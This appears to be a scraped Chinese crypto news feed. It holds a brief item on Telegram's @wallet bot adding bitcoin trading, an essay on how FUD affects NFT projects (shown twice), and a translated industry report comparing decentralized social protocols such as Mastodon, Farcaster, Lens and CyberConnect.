    PANews 4月23日消息，根据Telegram钱包机器人@wallet 4月21日发布的公告，该机器人推出了一项功能更新，@wallet用户现在可以直接通过其更新的Web界面购买、提取、交易比特币以及进行比特币P2P交易。之前，比特币只能在文本机器人中访问，但现在@wallet中所有用户都将能够使用该Web界面。此外该平台的新特性之一是更新的交易接口。通过这个新的钱包交易接口，用户可即时交易BTC、USDT和TON代币。此外，交换对总数增加到6个。 此前去年4月消息，TON基金会已向Telegram添加了加密支付功能，用户可通过Telegram“@wallet（钱包）”机器人功能购买比特币。去年11月消息，Telegram钱包机器人已支持在应用聊天界面直接交易TON代币。  ( 1 min )
    FUD的艺术：为什么一些NFT项目会死而另一些会蓬勃发展
    作者：wale.swoosh 编译：深潮 TechFlow 如何看待 FUD 对 NFT 项目的影响？FUD 是否总是负面的呢？本文将列举三个 NFT 项目，分析 FUD 如何影响它们，并从中得出一些经验教训。 在 NFT 领域呆过一段时间的每个人都曾经历过 FUD。"FUD"代表"恐惧、不确定性和怀疑"，通常是指个人或团体对某个项目进行攻击。 因此，人们可能认为 FUD 总是负面的。然而，最近许多创始人谈论 FUD 时，却显得很友好。那么，FUD 有好处吗？为什么它会毁掉一些项目而其他项目会蓬勃发展？ 让我们来看三个例子。 Mekaverse 是 2021 年引起高度关注的 NFT 项目之一。当时，抢购非常竞争激烈，成千上万的人竞相购买 8,888 个 Meka。 在开图前，Mekaverse 的地板价已经达到 8 个 ETH。NFT Twitter 上的每个人都在谈论它们，炒作达到了另一个层次，Mekaverse 注定要成为下一个蓝筹 NFT 项目。 但是，在开图后，图片不尽人意，第一批负面推文开始出现：人们开始嘲笑这个 NFT。这些推文像野火一样传播开来。曾经是 Mekaverse 的独特卖点之一的大量关注，也成为了他们崩溃的源头。 后来几乎所有 NFT Twitter 上的人都在取笑他们，真正的 FUD 浪潮已经形成。大部分并不是出于恶意，而是出于获得某种参与的渴望。如今，Mekaverse 的地板价已降至 0.16 个 ETH。 教训 1： FUD 可以带动大规模的互动。 持有者会为该项目辩护，非持有者会向 FUD 起哄而得到参与感。FUD 一直是 NFT 领域的一部分，将永远存在。 Moonbirds 是上一次牛市中最受期待的项目之一。顶尖团队、优良的艺术、具有影响力的持有者。在几周内，其地板价涨到了 40 个 ETH。 一切都顺利进行。当然，熊市也没有让 Moonbirds 受到影响，也并没有发生什么疯狂的事情。至少暂时是这样。 直到 8 月 4 日，当 Moonbirds 宣布更改 IP 权并转向 CC0 时。 CC0 与 Bored Apes 的版权规则不同，不是持有者拥有 JPEG 的版权，而是每个人都拥有它。这是一种创意共享许可。因此，理论上可以采用任何 Moonbird 并制作一个衍生品。正如你所料，这引起了一波大规模的 FUD。 几周后，其中一位联合创始人 Kevin Rose 在一个 Discord 中表示，FUD 的程度远超他的预期。有趣的是：FUD 不仅来自 Twitter 上的非持有者，而且也来自持有者。 持有者自己所产生的 FUD 和仇恨之量，是我从未见过的。这种 FUD 不仅针对个别行动，而且转化为针对整个项目和团队本身的 FUD。一些持有者转而反对该项目。 教训 2： FUD 总是源于一个错误或一个一意孤行的行动。然而，在大多数情况下，它会扩散到整个项目和整个团队。FUD 没有任何细微差别。 Azuki 也经历了一段大规模 FUD 的时期。当消息传出其中一位联合创始人 Zagabond 在 Azuki 之前还创建了两个其他项目（Zunks＆Phunks）时，一股 FUD 浪潮席卷 Azuki。 不仅是批评（但有道理）的推文，而且直接希望 Azuki 灭亡的推文随处可见。其地板价从 30 个 ETH 下降到了 6 个 ETH。 然而，这里有些不同。因为虽然一些持有者在 FUD 浪潮中感到 FUD 被迫出售，但核心持有者、核心社区一直支持 Azuki 和团队。直至今日，这个核心社区仍未改变。 当时，该团队受到了外界的大规模攻击。不仅是团队被诋毁，Azuki 的持有者也被诋毁。Twitter 成为任何拥有 Azuki pfp 的人的战场，这使持有者更加团结。 教训 3： 外部 FUD 可以使社区在长期内更加团结并变得更强大。但前提是持有者必须团结一致，无条件地支持团队。 这也许是关键的不同之处： 外部的 FUD 可以让社区变得更加坚强。当愤怒和仇恨来自外界时，它会使社区更紧密地团结在一起，并创造更强的联系。NFT 项目需要这样一群极度狂热的信徒，这些人共同经历低谷。这正是使 NFT 超越纯粹金融投资的原因。 非持有者的 FUD 通常是起哄和短期关注。因此，外部的 FUD 总是暂时的，一旦关注点转移，它就会寻找新的受害者。然而，如果 FUD 来自内部，来自持有者本身，那么会迅速毁掉一个项目。 如果持有者对团队的方向产生怀疑，则不仅会使现有的持有者离开，还会阻止新人加入。因此，FUD 既有好处也有坏处，理想的组合可能如下: a) 外部持续低水平的 FUD，让项目成为关注的焦点。 b) 没有任何 FUD 的核心社区，团结一致地支持团队，并反对“外部对手”。  ( 3 min )
    FUD的艺术：为什么一些NFT项目会死而另一些会蓬勃发展
    作者：wale.swoosh 编译：深潮 TechFlow 如何看待 FUD 对 NFT 项目的影响？FUD 是否总是负面的呢？本文将列举三个 NFT 项目，分析 FUD 如何影响它们，并从中得出一些经验教训。 在 NFT 领域呆过一段时间的每个人都曾经历过 FUD。"FUD"代表"恐惧、不确定性和怀疑"，通常是指个人或团体对某个项目进行攻击。 因此，人们可能认为 FUD 总是负面的。然而，最近许多创始人谈论 FUD 时，却显得很友好。那么，FUD 有好处吗？为什么它会毁掉一些项目而其他项目会蓬勃发展？ 让我们来看三个例子。 Mekaverse 是 2021 年引起高度关注的 NFT 项目之一。当时，抢购非常竞争激烈，成千上万的人竞相购买 8,888 个 Meka。 在开图前，Mekaverse 的地板价已经达到 8 个 ETH。NFT Twitter 上的每个人都在谈论它们，炒作达到了另一个层次，Mekaverse 注定要成为下一个蓝筹 NFT 项目。 但是，在开图后，图片不尽人意，第一批负面推文开始出现：人们开始嘲笑这个 NFT。这些推文像野火一样传播开来。曾经是 Mekaverse 的独特卖点之一的大量关注，也成为了他们崩溃的源头。 后来几乎所有 NFT Twitter 上的人都在取笑他们，真正的 FUD 浪潮已经形成。大部分并不是出于恶意，而是出于获得某种参与的渴望。如今，Mekaverse 的地板价已降至 0.16 个 ETH。 教训 1： FUD 可以带动大规模的互动。 持有者会为该项目辩护，非持有者会向 FUD 起哄而得到参与感。FUD 一直是 NFT 领域的一部分，将永远存在。 Moonbirds 是上一次牛市中最受期待的项目之一。顶尖团队、优良的艺术、具有影响力的持有者。在几周内，其地板价涨到了 40 个 ETH。 一切都顺利进行。当然，熊市也没有让 Moonbirds 受到影响，也并没有发生什么疯狂的事情。至少暂时是这样。 直到 8 月 4 日，当 Moonbirds 宣布更改 IP 权并转向 CC0 时。 CC0 与 Bored Apes 的版权规则不同，不是持有者拥有 JPEG 的版权，而是每个人都拥有它。这是一种创意共享许可。因此，理论上可以采用任何 Moonbird 并制作一个衍生品。正如你所料，这引起了一波大规模的 FUD。 几周后，其中一位联合创始人 Kevin Rose 在一个 Discord 中表示，FUD 的程度远超他的预期。有趣的是：FUD 不仅来自 Twitter 上的非持有者，而且也来自持有者。 持有者自己所产生的 FUD 和仇恨之量，是我从未见过的。这种 FUD 不仅针对个别行动，而且转化为针对整个项目和团队本身的 FUD。一些持有者转而反对该项目。 教训 2： FUD 总是源于一个错误或一个一意孤行的行动。然而，在大多数情况下，它会扩散到整个项目和整个团队。FUD 没有任何细微差别。 Azuki 也经历了一段大规模 FUD 的时期。当消息传出其中一位联合创始人 Zagabond 在 Azuki 之前还创建了两个其他项目（Zunks＆Phunks）时，一股 FUD 浪潮席卷 Azuki。 不仅是批评（但有道理）的推文，而且直接希望 Azuki 灭亡的推文随处可见。其地板价从 30 个 ETH 下降到了 6 个 ETH。 然而，这里有些不同。因为虽然一些持有者在 FUD 浪潮中感到 FUD 被迫出售，但核心持有者、核心社区一直支持 Azuki 和团队。直至今日，这个核心社区仍未改变。 当时，该团队受到了外界的大规模攻击。不仅是团队被诋毁，Azuki 的持有者也被诋毁。Twitter 成为任何拥有 Azuki pfp 的人的战场，这使持有者更加团结。 教训 3： 外部 FUD 可以使社区在长期内更加团结并变得更强大。但前提是持有者必须团结一致，无条件地支持团队。 这也许是关键的不同之处： 外部的 FUD 可以让社区变得更加坚强。当愤怒和仇恨来自外界时，它会使社区更紧密地团结在一起，并创造更强的联系。NFT 项目需要这样一群极度狂热的信徒，这些人共同经历低谷。这正是使 NFT 超越纯粹金融投资的原因。 非持有者的 FUD 通常是起哄和短期关注。因此，外部的 FUD 总是暂时的，一旦关注点转移，它就会寻找新的受害者。然而，如果 FUD 来自内部，来自持有者本身，那么会迅速毁掉一个项目。 如果持有者对团队的方向产生怀疑，则不仅会使现有的持有者离开，还会阻止新人加入。因此，FUD 既有好处也有坏处，理想的组合可能如下: a) 外部持续低水平的 FUD，让项目成为关注的焦点。 b) 没有任何 FUD 的核心社区，团结一致地支持团队，并反对“外部对手”。  ( 3 min )
    重塑联系：去中心化社交网络全景解析
    作者：STEVEN SHI 编译：Kxp，Blockbeats 今年早些时候，Twitter 突然关闭了第三方应用程序。几周后，它取消了免费 API 访问，其最便宜的套餐现在每月要价 42,000 美元。 现在，大多数用户已经适应了这个现实。我们最重要的社交媒体应用程序，从 Facebook 和 TikTok 到微信和 Grab，都是中心化平台。尽管这些平台通常很温顺，但它们偶尔会以凸显中心化权威的任性方式行使权力，比如根据模糊的内容政策审查和封禁用户，或者武断地提升某些用户的地位。 这些平台对我们的日常生活至关重要。因此，用户对现状感到沮丧，但没有太多选择。因此，在 Web3 运动中，去中心化社交媒体是一个重点方向。由于 Crypto 行业在 Twitter 上运行，因此建立一个「去中心化 Twitter」对 Web3 创始人来说更有吸引力，因为他们非常清楚 Twitter 的痛点。 本报告探讨了去中心化社交（DeSoc）协议。我们审查了各种 DeSoc 设计，并聚焦于有趣的项目。我们还就每个协议的方法分析了其优缺点，并概述了我们对整个垂直领域的看法。 自成立以来，Twitter 进行了 19 轮融资，筹集了 44 亿美元的资本。当它上市时，它累计亏损了近 10 亿美元。然而，过去五年，产品本身几乎没有改变。 然而，Twitter 仍然非常有价值，其估值至少为数十亿美元。如果今天拍卖，毫无疑问会有大量买家愿意以慷慨的估值对 Twitter 的收入进行出价。 Twitter 和任何社交媒体平台的关键价值主要在于其社交图谱。功能即商品（参见：Clubhouse 的空间，Snapchat 的故事，TikTok/Douyin 的短视频）。但是独特和差异化的社交图谱非常有价值，这是让小众平台在激烈竞争中增长和保持份额的原因（例如：Bilibili，GitHub，LinkedIn，Twitch）。相反，弱社交图谱会使用户感到沮丧，并陷入死亡螺旋（例如：Clubhouse，MySpace，Friendster，Vine，人人网，YY，Digg）。 现有平台很早就已经注意到这一点，并通过锁定用户来捕获价值。因此，大多数用户都受制于现有平台，几乎没有可行的退出选项。 去中心化社交网络承诺将由社交图谱衍生的价值返回给用户。总体论点表明，这种方法消除了寻租行为，并促进产品和功能的更多竞争，最终为用户创造价值。 构建 DeSoc 协议的最明显好处之一保证开放访问。去中心化社交网络应该允许两个用户找到彼此并相互沟通，即使所有其他用户都想要阻止这种沟通。这些网络还应该允许用户发布内容并找到他们想要的内容。 这并不是说不能在其上应用中心化过滤器。我们可以借鉴 Gmail 与去中心化电子邮件协议（SMTP、POP3、IMAP）之间的关系，想象一个强大的去中心化社交网络可能是什么样子。尽管 Gmail 是一个中心化的应用程序，用户可以选择其他客户端或拥有自己的域名，从而在数据、隐私和通信偏好方面拥有更多的控制权。替代成本微不足道。 大多数 DeSoc 协议具有类似的架构。因此，用户真正拥有自己的社交图谱，可以自由退出任何一个应用程序。 去中心化社交协议的开放获取很可能会在基于它们的应用程序之间带来更快速、更显著的创新。这与前面的观点一致——如果用户退出成本很低，应用程序就必须竞争以提供最佳用户体验。 实际上，当 Twitter 的 API 相对开放时，它也有类似的创新周期。许多 Twitter 的发明都起源于外部开发人员。Twitterrific 创造了 Twitter 蓝鸟 logo 和「推文」一词；另一个第三方客户端 Tweetie 创建了下拉刷新手势；而广泛使用的 TweetDeck 最初作为管理多个帐户和发布内容的第三方平台出现。同样，当 Facebook 开放访问之后，它也有过重要的创新周期，让 Zynga、Buzzfeed、Pinterest 等应用程序利用 Facebook 的社交图谱和信息流进行分发。 但是当用户增长接近饱和时，Web2 平台往往从合作转向与其合作伙伴竞争。随着时间的推移，企业家们学会了不在中心化平台上构建，限制了创新。 相反，去中心化社交网络向用户保证访问保持开放和无需许可。在这个保证下，它们更有可能吸引聪明的创始人，建立一个强大的、正和的生态系统。 由于强调去中心化，Crypto 和 DeSoc 协议通常（但不一定）相互关联。例如，社交图谱协议 CyberConnect 和 Lens 中的个人资料存储在 L1 区块链上，而 Farcaster ID 则在 Ethereum 上发行。 与与现有社交媒体平台大相径庭的是，这种与原生数字所有权的联系创造了一个很大的设计空间。Crypto 可以作为一种简单的金融原语，在网络中传输价值。例如，Nostr 集成了 Lightning network，以实现低成本的 Bitcoin 打赏功能。 Crypto 原语还可以增强互动质量。垃圾邮件和机器人困扰着所有的社交媒体平台，但是由于大多数 Crypto 操作都承载着财务权重（即使是微不足道的 Gas 费形式），Crypto 地址的历史记录可以作为一种有效的过滤机制。一些早期的实验包括构建更高质量的 Feed 或基于地址的 NFT 收藏门户社区。 任何平台/网络创始人面临的最明显挑战是激发初始网络效应。网络的价值随着使用它的人数的增加而增加。因此，这表明新网络的价值很小。对于早期用户来说，由于价值较小，吸引和留住他们通常是最大的障碍。即使在获得了一个小众社区之后，将其扩展到主流市场也非常具有挑战性。 这在当今尤为明显。与 Twitter 在几乎没有竞争的情况下获得广泛普及相比，现在的社交媒体平台必须与拥有强大壁垒和大量资本的现有平台竞争。由于用户已经在现有平台上建立了他们的社交网络和地位，因此在完全新的平台上重建社交资本并不太可行。 BitClout 试图通过从 Twitter 上爬取并导入现有的社交图谱到其平台上来解决这个问题。在推出时，BitClout 已预先加载了数千个知名 Twitter 用户的个人资料，包括 Elon Musk、Katy Perry 和 Barack Obama。虽然这次活动作为有效的营销策略，但应用缺乏差异化和有机社区，未能保持用户参与，导致用户流失迅速。 尽管如此，就像最近相对较新的 TikTok 崛起一样，从零开始是可以克服的。因此，找到一个真正提供效用和差异化体验的实际用例将是关键。此外，一些 DeSoc 协议可能不会旨在获得最大的市场份额，而是选择与 Linux 一样，专注于为珍视开源、控制权或隐私权而不是普遍采用的受众提供服务。 大多数 DeSoc 协议使用公钥和私钥给用户所有权。例如：Nostr、Farcaster、Lens 和 CyberConnect。但是，至少目前来看，设置私钥通常比传统的登录方法更令人困惑。 使用私钥也存在挑战。如果用户丢失了私钥，会发生什么？一些协议，如 Farcaster，具有恢复流程，但它们很复杂。其他协议，如 Damus，没有恢复选项。如果没有适当的设计来减轻私钥泄露的影响，用户可能需要完全重建他们的社交图谱。自托管将会是一把双刃剑。 其他障碍包括链上操作需要私钥签名和交易费用，与 Web2 平台相比，这些都是用户体验的重大降级。人们可以轻易地感受到使用抖音等轻松上手的体验与使用下面我们将要介绍的任何一款 DeSoc 应用程序时的压力之间的差异。 随着时间的推移，这些问题都将得到解决。多方计算 (MPC) 和智能合约钱包可以帮助设置社交恢复功能并降低 Gas 成本。但就目前而言，钱包、保管和恢复功能是用户采纳的关键障碍。 由于几乎所有现有社交媒体平台都通过广告支出来变现，通过其他方式生成收入仍然是一个开放性问题。 DeSoc 协议正在尝试使用铸币费（为独特 ID 支付一次性费用）、订阅模型（如支付独特用户名或有权限的中继）和提成模型（在平台上循环资金时收取一定比例）来赚取收入。虽然这些商业模型在理论上有道理，但迄今为止很少有证据表明它们在大规模上是实用的，用户更倾向于免费获取。 · Wen token？DeSoc 协议需要用于去中心化治理的 Token 吗（例如 ENS，Uniswap），还是可以像 Linux，Android 那样保持去中心化而无需 Token？ · DeSoc 协议的开发者们是否应该看到协议的股权类/Token 类上涨？如果他们看到了，那么这会不会产生不良激励？如果他们没有看到，如何充分激励开发者并为他们提供足够的资源来构建和扩展一个能与 Web2 现有平台竞争的平台？ · 相应地，开发者应该如何考虑筹集资本？有些人试图通过拒绝外部资本来最大化可信中立性。另一些人认为，如果没有足够的巨额资金，他们就无法与 Web2 的主导者进行充分竞争。 偶尔，去中心化的社交应用程序将因外部争议或炒作而突然看到大量用户注册。在埃隆·马斯克解雇数千名员工，更改验证政策并任意添加/删除帐户后，Mastodon 社交网络增长了近 5 倍。最近，Damus 突然得到了大量的中国用户，也让它成为了中国所有社交应用程序中排名前 21 的应用。 但是用户往往会非常快地流失并返回现有的平台。（为了公平起见，Damus 被中国国家互联网信息办公室下令从应用商店中移除） 短暂的炒作周期 总的来说，DeSoc 协议和应用程序仍然可以说处于采用曲线的创新者阶段。 在所有指标上，DeSoc 的采用率比现有平台低几个数量级。Mastodon 和 Damus 上的总活跃用户（两个相对流行的 DeSoc 平台）仍然只是 Twitter 月活跃用户（MAU）的一小部分。没有 DeSoc 网络是明显的赢家——团队仍在试验适当的架构，以提供良好的用户体验同时保持去中心化。 我们以下面几个更有趣的项目为重点。我们主要关注协议的高层设计，衡量其优势和挑战，并根据我们的分析提供一些评论。我们将不会在此报告的范围内深入探讨每个协议的技术实现。 Mastodon 在 Twitter 的替代品方面显露头角，特别是在 Twitter 最近的争议之后。 Mastodon 建立在独立托管服务器网络上的实例上。每个实例都由其自己的管理员管理，他们设置其特定社区的规则和政策。管理员可以根据他们的喜好禁止、审查或鼓励内容，尽管我们访问过的许多服务器都力求中立。因此，Mastodon 鼓励用户选择最符合其价值观和偏好的实例或自己托管实例。 Mastodon 使用 ActivityPub，一种用于社交网络的标准化开源协议。它是 Fediverse 或联邦宇宙的一部分，这个术语用于所有可以使用 ActivityPub 协议相互通信的平台。 Mastodon 的开发通过 Patreon 和 OpenCollective 进行集体筹资，没有 VC 参与其中。 · 所有 DeSoc 平台的优点——开源，拥有和控制数据和社交图谱的能力以及自由地从一个客户端退出到另一个客户端。 · 使用 ActivityPub，一种用于社交网络的开放和去中心化协议，它显着提高了互操作性和去中心化化程度。 · 强调社区：许多用户赞赏 Mastodon 的社区驱动性，其中较小的实例培育了更亲密和支持性的环境。 · 实例大多由个人或拥有比 Web2 主导者更少资源的团体运营。大多数服务器由志愿者管理，他们承担运行自己实例的责任。这包括维护成本（例如许可证，硬件，电费）和内容管理风险（例如不良/不需要的内容，侵犯版权，极端主义内容等）。服务器可能存在故障，并且搜索功能相对于 Web2 平台而言功能较弱。不同服务器之间不一致的管理可能会导致令人沮丧的体验。 · 而 Twitter 就像一个「大锅炖」，包含各种不同的兴趣，主题和语言，Mastodon 的服务器架构往往会将主题垂直化。这可能会导致用户群的分化，减少使用案例并减少偶然发现的机会。 · 入门难度大：Twitter 对于新用户来说已经很令人生畏了。Mastodon 让入门流程变得更加复杂，需要在不同的服务器上查找和关注用户，这可能会增加用户负担。 · Mastodon 不直接整合来自 Crypto/区块链的功能或技术。任何这样的集成都将是建立在 Mastodon 之上的第三方开发。 · 不同的变现方式：一些服务器完全由志愿者运营，并要求捐赠以维护服务器，而其他服务器则运行广告。 Mastodon 的理念和设计目标是令人钦佩的。它给用户提供了创建、策划和选择自己的社交网络体验的选择。由于它的开源和社区驱动的开发，它可能会成为去中心化社交媒体的重要组成部分，长期存在。 然而，几个障碍可能会阻止它达到主流。通过服务器的分化来分割用户群体会降低它实现网络效应和更广泛应用的能力。例如，尽管突发新闻往往首先在 Twitter 上传播，但很难看到类似的事情在 Mastodon 上发生。此外，目前的用户体验不佳，这可能解释了从 Twitter 事件中涌入新用户后用户保留率较低。 尽管如此，对于寻求拥有共同兴趣的亲密社区的用户来说，Mastodon 是一个强有力的替代选择。在未来，开发者可能会继续在 Mastodon 上建立，创造具有无缝导航和改进用户体验的第三方应用程序。 Farcaster 是建立在 Ethereum 之上的足够去中心化的社交网络。Farcaster 团队创造了「足够去中心化」的术语，它是指即使整个网络都想阻止两个用户找到彼此并进行通信，它们仍然可以找到彼此进行通信。 尽管 Farcaster 在其技术堆栈的一部分上利用了 Ethereum，但它并没有在区块链上托管整个社交网络。相反，Farcaster ID 在 Ethereum 上注册，而其社交图谱和内容则托管在称为 Hubs 的节点网络上。这些 Hubs 确保网络的一致性，因为它们复制所有数据和签名的消息。Farcaster 协议还会修剪消息，使 Hubs 变得轻量化，提高了协议的去中心化程度。 Farcaster 架构 Farcaster 在应用和客户端层面上推动竞争。团队认为，优秀的应用应该从这种架构中演进出来。由于用户分布发生在协议层面，具有杀手级功能的应用理论上应该能够利用协议的基础分布来获取市场份额。这就像 Clubhouse 在推出时利用 Twitter/Instagram 用户的社交图谱。 Farcaster 目前仅限邀请注册，总用户数约为 11,000 人。Farcaster 协议由 Merkle Manufactory 开发，该公司去年夏天在由 a16z 领导的一轮融资中筹集了 3000 万美元。Merkle Manufactory 同时正在 Farcaster 之上构建一个名为 Warpcast 的移动/桌面客户端。 · 由 Merkle 开发协议和第一个客户端应用程序，可以测试和发布新功能，与 Web2 竞争对手的速度相似。在过去几个月中，Warpcast 已经实现了显著的改进，包括推出桌面客户端、QR 登录、应用商店中的移动应用程序等。 · 即使在早期阶段，Warpcast 的入门体验也非常熟悉 Twitter 用户。 · 值得信赖的 ID 和账户恢复的周到设计 --ID：虽然主要命名空间是完全去中心的，但是可以管理第二个命名空间。因此，如果你在 Farcaster 上注册，没有人可以从你那里夺 走你的唯一 ID（例如 @918392），但如果你虚假注册了 @jeffbezos 的句柄，第二个命名空间可以选择将其夺走。 --恢复：内置恢复系统，以防私钥丢失/被攻击，具有 7 天的时间窗口，防止恶意接管账户。 · 由于 Farcaster 的 ID 存在于 Ethereum L1 上，因此在客户端中更容易集成其他 Crypto 元素。例如，Warpcast 将 NFT 身份验证和可发现性纳入其客户端中。 在 Warpcast 上发现 NFT · Merkle 必须证明其随着时间的推移具有可信的中立性，因为迄今为止，协议和事实上的客户端都由中心化团队开发。VC 的支持可能会阻碍可信的中立性的声明。 · 相应地，由于 Merkle 拥有先发优势并且第一个了解新的协议发展，其默认客户端可能会排挤第三方客户端。 · 赚钱方式可能是通过为唯一的 Farcaster 名称（例如 @elonmusk）支付费用，尽管这还没有实施，也没有确定。 · GTM 似乎在策划一个以西方为导向的技术社区，包括从事 Web2、Web3、VC 等的人员。 我们的看法： Farcaster 目前更加中心化的结构使其能够更好地回应用户反馈、快速迭代和实现产品市场适配。其架构设计得很好，应该可以轻松扩展以容纳数百万用户。此外，Merkle 的 VC 支持为 Farcaster 的增长提供了财务和网络资源。 我们对团队能够将用户群体扩大到当前用户群体以外持乐观态度。针对技术爱好者的初期市场策略很聪明，因为这些用户通常是新平台的早期采用者，更有可能为开放源代码协议做出贡献。已经有一个充满活力的开发者社区，有各种应用程序利用 Farcaster 的社交图谱。类似于 Instagram 和 Vine 在十年前为 Twitter Feed 创造的动态，也可以在 Farcaster 的生态系统中类似地发挥作用。 我们主要关注 Farcaster 随着时间的推移如何逐步去中心化。这只能通过时间来解决，因为 Farcaster 团队展示他们可以慢慢放手，让开发者更容易地运行 Hubs，并允许第三方开发者在平等竞争的基础上与 Warpcast 竞争。 Lens Protocol 由 Aave 团队开发，是基于 Polygon 的智能合约社交网络平台。几乎所有重要的社交互动都被记录在链上。用户的个人资料和关注者由 NFT 表示。镜像和收藏（类似于转推和收藏夹）也是链上的操作，会创建 NFT。内容本身存储在链下以节省 Gas 成本，只有在被收藏时才成为 NFT。该平台的设计具有模块化特点，允许开发者通过模块创建新功能。 与 Farcaster 类似，Lens 旨在成为中立的基础层，并鼓励应用/客户端层面的竞争。 Lens 去年曾从 FTX Ventures 获得外部资本。 · Lens 通过 Crypto 技术提供独特而创新的功能。例如，Collect 模块允许创作者直接向关注者销售其帖子。艺术家可以创建「罕见的收藏品」，使关注者在有限的时间内收藏他们的艺术品。关注者还可以镜像这些帖子并获得推荐费用。由于所有这些操作都发生在区块链上，余额会立即借记和贷记，没有中间人。 · 与 Farcaster 不同，Lens 可以「搭便车」其他已经验证 Polygon 区块链的节点。因此，Lens 与 Polygon 网络本身一样去中心化和无需许可。 · 模块化的架构允许其他人创建新的社交基本原则。 创作者利用收集模块实现艺术品变现的例子 · 由于许多用户操作是 Polygon 智能合约上的读/写操作，所以延迟和吞吐量可能成为问题，尤其是当区块链正在经历高使用率或网络不稳定时。 · 不明确的 GTM：当前用户似乎是由 Crypto 原住民、创作者、开发人员和实际上是空投农民的人组成的。因此，共同兴趣的重叠可能较小，这可能会降低用户参与度。这得到了相对较低的 DAU/MAU 比率的支持。 · 垃圾邮件，主要来自 Sybil 和空投农民，使解析信号和噪声变得困难。 · 据报道，除非 Lens 团队成员之一镜像/重新共享帖子，否则帖子不太可能获得关注。 · 使用第三方协议 XMTP 构建直接消息的安全、Crypto 通道和 Lit 协议来创建带门禁的出版物。 Lens 是最具创新性和令人兴奋的 DeSoc 协议之一。它提供了 Web2 或其他 Web3 平台上看不到的功能和工具，展示了 Crypto 启用的社交网络可以为创作者和粉丝解锁什么。理想情况下，这些特性将启动一个强大的飞轮，使创作者开始使用 Lens 与其粉丝建立更直接的关系，吸引用户使用平台，吸引更多的创作者等。我们还喜欢 Lens 的模块化架构，为新的社交基本原则创建了广阔的设计空间。 诚然，该平台仍有改进的空间。建立在 Lens 上的流行应用程序缺乏精细的用户体验，鉴于其当前的架构，我们对 Lens 的可扩展性也有一些担忧。但这些问题都可以逐步解决。我们期待看到第三方开发人员在 Lens 上构建的应用程序。 表面上看，CyberConnect 与 Lens Protocol 非常相似。两者都是利用广义区块链上智能合约的去中心化社交网络。与 Lens 一样，CyberConnect 为配置文件、关注者和内容发行 NFT。创作者可以通过 NFT 或令牌门控部分社区进行货币化。同样，两者都建有模块化架构，使开发人员可以根据自己的需要开发和重复使用模块。 但是，CyberConnect 使用了多个区块链和分布式网络的组合，包括 Ethereum、Polygon、BNB Chain、IPFS 和 Arweave。CyberConnect 还将用户操作缓存和批处理，然后将其上传到像 Arweave 这样的去中心化存储中，以提高可扩展性，同时保持数据完整性和抗审查性。 CyberConnect 通过其最初和多样化的用例和社交图谱策展，使其与众不同。其他协议如 Farcaster 和 Lens 的第一个用例通常是「去中心化的 Twitter」。相反，CyberConnect 提供了各种其他产品和功能： · ccProfile：面向个人/集体的链上身份标准，包括链上操作。 · Link3：类似于 Linktree 和 Eventbrite，Link3 帮助 Web3 用户找到其他配置文件，并发现/参加活动，利用 ccProfiles 和 CyberConnect 的社交图谱。 · W3ST（Web3 状态 Token）：更通用的出勤证明概念，涵盖背书、角色、证书和参与。 · FanClub：一个忠诚度和社区游戏，识别并奖励用户对公司和 DAO 的贡献，类似于 Galxe 和 Crew3。 · 帖子：发布工具类似于 Mirror.xyz（去中心化的 Substack），将内容永久存储在链上，并允许粉丝收集帖子。 CyberConnect 还有一个繁荣的 dApps 生态系统，涵盖超出 Twitter 功能的多种用例。它最近的黑客马拉松「#Connected2023」特别增强了其生态系统。 在 CyberConnect 的生态系统中选择项目 CyberConnect 在 2022 年 5 月获得了 1500 万美元的 A 轮融资，由 Animoca Brands 和 Sky9 Capital 共同领导 [免责声明：Amber Group 也参与了 CyberConnect 的 A 轮融资]。 · 无需签署最小的私钥，无缝的用户体验。 · 多链支持和专有数据索引器增强了可扩展性、灵活性和社交图谱连接。根据我们与其他开发人员的谈话，这也改善了开发人员的体验。 · 社交图谱可能更丰富，包括个人、集体、活动和各种链上交互。 · 面向 Web2 用户的各种产品：Link3 LinkTree、帖子 Substack、活动 Eventbrite、Phaver Twitter、Huddle01 Zoom 等。 · 模块化架构允许其他人创建新的社交原语。 · CyberConnect 使用中心化的中继器来提高可扩展性。尽管目前尚未公布计划，但未来可能会去中心化。 · Cyberconnect 的一些早期功能（如活动、状态 Token、FanClub）属于较低参与度的产品。 · 与 Lens 类似，由于大部分是 Sybil 和空投挖矿等垃圾活动，很难从噪音中解析出信号。 · 由于最初的 GTM 是活动和 FanClubs 等用例，以及其他超出 Twitter 范畴的用例，CyberConnect 的社交图表平均质量与 Farcaster 或 Lens 有所不同。 · 通过利用更多的用例，而不仅仅是针对 Crypto 原生社区，CyberConnect 也有望吸引更多的大众用户进入 Web3。 · 与众多 Web3 组织搭配使用的强大 B2B 入门，拥有众多 Link3 档案。 · 自今年 2 月以来，从配置文件铸造费中获得 278E 和 401BNB（约合 603,000 美元）。 CyberConnect 在建立截然不同的社交图表和提供 Web2 中常见的广泛应用方面表现出色。它最初的 GTM 针对 Crypto 原生和 Crypto 相邻社区，有助于增强立即采用率。它有可能成为 Crypto 行业的去中心化社交媒体和内容一站式购物中心，取代 Linktree、Medium、Eventbrite 和其他 Crypto 用户/公司今天使用的 Web2 工具。 但是，不同用例的所有实验的有效性还有待观察。如果去中心化的社交平台要获得强大的采用率和高参与度，需要有一个驱动增长的杀手级功能。 尽管如此，CyberConnect 团队继续提供时尚和创新的产品。我们期待着该团队和其他开发人员将在协议之上构建哪些新的内容。 去中心化的社交协议和平台在追求主流采用方面面临着艰巨的挑战。创始人们的成功背后，是成千上万个类似的失败尝试。 然而，我们仍然充满希望。去中心化的社交网络有独特的机会，可以引入全新的社交原语，并将社交图谱的价值归还给用户。 社交媒体正处于变革的边缘。虽然我们仍处于早期阶段，但在重新塑造我们在网上如何连接、分享和互动的方式方面，可能性是真正无限的，开启了通向一个更加光明、包容和有力的数字景观的大门。  ( 8 min )
    重塑联系：去中心化社交网络全景解析
